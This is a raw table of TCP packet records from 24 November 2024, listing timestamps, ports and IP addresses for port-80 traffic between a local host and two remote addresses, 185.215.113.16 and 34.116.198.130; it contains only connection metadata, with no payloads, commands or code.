Nov 24, 2024 14:24:34.142260075 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.142302990 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.142304897 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.142342091 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.143378973 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.143424988 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.143465996 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.143506050 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.144577980 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.144623995 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.144690037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.144726992 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.145683050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.145719051 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.145780087 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.145817995 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.146828890 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.146872997 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.146929026 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.146961927 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.148035049 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.148080111 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.148169994 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.148217916 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.149173021 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.149216890 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.149296045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.149338007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.150346041 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.150388956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.150424004 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.150469065 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.151498079 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.151541948 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.151604891 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.151647091 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.152611971 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.152650118 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.152709007 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.152748108 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.153805017 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.153850079 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.153877974 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.153918982 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.154966116 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.155009031 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.155093908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.155136108 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.156099081 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.156141996 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.156208992 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.156250954 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.157346964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.157393932 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.157474041 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.157516956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.158440113 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.158487082 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.158524990 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.158567905 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.159575939 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.159619093 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.159683943 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.159723043 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.160753965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.160794020 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.160933971 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.160975933 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.161904097 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.161953926 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.162004948 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.162048101 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.163053989 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.163120985 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.163157940 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.163202047 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.164258957 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.164304018 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.164736986 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.164781094 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.165581942 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.165627956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.165690899 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.165733099 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.166501045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.166548014 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.166618109 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.166666031 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.167695045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.167742014 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.167819977 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.167864084 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.168850899 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.168896914 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.168957949 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.168999910 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.170083046 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.170128107 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.170155048 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.170192003 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.171158075 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.171201944 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.171236992 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.171277046 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.172224045 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.172266006 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.172296047 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.172307014 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.172347069 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.172405005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.172442913 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.173609018 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.173659086 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.173690081 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.173737049 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.174611092 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.174654961 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.174669981 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.174710989 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.175848007 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.175893068 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.175971031 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.176014900 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.176928043 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.176974058 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.177052975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.177105904 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.178082943 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.178132057 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.178168058 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.178212881 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.179245949 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.179289103 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.179348946 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.179393053 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.180463076 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.180505991 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.180598021 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.180644035 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.181576014 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.181621075 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.181687117 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.181730032 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.182710886 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.182753086 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.182815075 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.182856083 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.183854103 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.183903933 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.198363066 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.198415041 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.198443890 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.216039896 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.216049910 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.216104984 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.221164942 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.221215963 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.221247911 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.222152948 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.222198009 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.222228050 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.263504982 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.263581038 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.263617039 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.264461040 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.264509916 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.264574051 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.266370058 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.266421080 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.296910048 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.296987057 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.297033072 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.306130886 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.306195021 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.306236982 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.306649923 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.306756020 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.306788921 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.308562040 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.324424028 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.324475050 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.324625969 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.324892998 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.324942112 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.324991941 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.325022936 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.325056076 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.325841904 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.325891972 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.325972080 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.326019049 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.327044964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.327064037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.327104092 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.327116013 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.327383041 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.327434063 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.327472925 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.328144073 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.328195095 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.328197002 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.328243017 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.329294920 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.329340935 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.329404116 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.329444885 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.330461979 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.330504894 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.330579042 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.330620050 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.331628084 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.331685066 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.331748009 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.331795931 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.332787037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.332839012 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.332941055 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.332982063 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.333949089 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.333997011 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.334002972 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.334033012 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.335078955 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.335129976 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.335191965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.335231066 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.336246967 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.336288929 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.336338997 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.336393118 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.337418079 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.337506056 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.337512016 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.337548971 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.338579893 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.338627100 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.338895082 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.338941097 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.339740992 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.339798927 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.339874029 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.339920998 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.340914965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.340959072 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.340972900 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.340991020 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.342011929 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.342067957 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.342104912 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.342155933 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.343202114 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.343265057 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.343297958 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.343343973 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.344337940 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.344384909 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.344450951 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.344491005 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.345515013 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.345571041 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.345582962 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.345606089 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.347981930 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.348041058 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.348340034 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.348391056 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.349797964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.349808931 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.349819899 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.349833012 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.349848032 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.349886894 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.349936962 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.349963903 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.349982977 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.350099087 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.350140095 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.350677013 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.350720882 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.351027012 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.351067066 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.351212978 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.351260900 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.351829052 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.351840019 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.351871014 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.351890087 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.352479935 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.352524042 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.352694988 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.352742910 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.353614092 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.353662968 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.353761911 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.353817940 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.354815960 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.354870081 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.354935884 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.354988098 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.355936050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.355986118 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.356080055 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.356122017 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.357116938 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.357166052 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.357202053 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.357249022 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.358242035 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.358295918 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.358331919 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.358380079 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.359394073 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.359441042 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.359558105 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.359606028 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.360889912 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.360938072 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.360964060 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.361072063 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.361730099 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.361777067 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.361856937 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.361906052 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.362890959 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.362936974 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.362938881 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.362977982 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.364018917 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.364063978 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.364213943 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.364226103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.364236116 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.364269018 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.364294052 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.368266106 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.368318081 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.368437052 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.368449926 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.368459940 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.368469954 CET	80	49815	185.215.113.16	192.168.2.4
